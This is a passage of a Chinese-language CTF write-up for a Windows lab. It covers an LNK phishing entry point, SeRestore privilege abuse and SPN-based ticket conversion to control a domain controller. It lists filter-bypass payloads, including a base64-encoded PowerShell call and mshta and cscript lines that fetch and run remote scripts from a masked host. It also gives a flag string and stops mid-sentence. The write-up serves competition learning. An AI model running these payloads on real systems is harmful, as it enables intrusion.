<aside> 😜 Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you
</aside>
首先道个歉,因为搅屎还有服务宕机,还有我的迷惑操作让各位师傅没有收获流畅的体验!对不住各位!
整道题目流程比较短, 入口就是一个非常简单的Lnk钓鱼,想办法整一个无交互的Lnk木马就行,拿到权限后获得第一个Flag。而第二关通过SeRestore特权达成任意文件写的本地提权获取第二个Flag。
最后一关,使用SPN mappings 将Host转换成CIFS票据, 然后直接控制dc.
Ps: 靶场真的好难运维啊!!!
这里只过滤了空格,而没有过滤其他空白字符串,所以可以直接使用其他空白字符串bypass,这里就当作开放式解题了,看到的Payload如下:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $executioncontext.InvokeCommand.InvokeScript([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('cABpAG4AZwAgAGIAYQBpAGQAdQAuAGMAbwBtAA==')))
C:\Windows\System32\cmd.exe /c type %USERPROFILE%\Desktop\flag.txt
C:\Windows\System32\cmd.exe /k"whoami"
C:\Windows\System32\mshta.exe http://xxx.xxx.xxx.xxx:8080/1.hta
C:\Windows\System32\cscript.exe \\xxx.xxx.xxx.xxx\public\test.vbs
也有同学一直尝试使用Python来反弹shell,不过Python不在环境变量中,可以尝试使用一下Windows原生的工具,这里各显神通即可。
(其实直接Cobalt Strike一把梭就行,我把Windows defender关了
n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}
SeRestore特权一般是给Backup用户用于还原备份文件的,这里我主要介绍两种方案滥用SeRestore权限: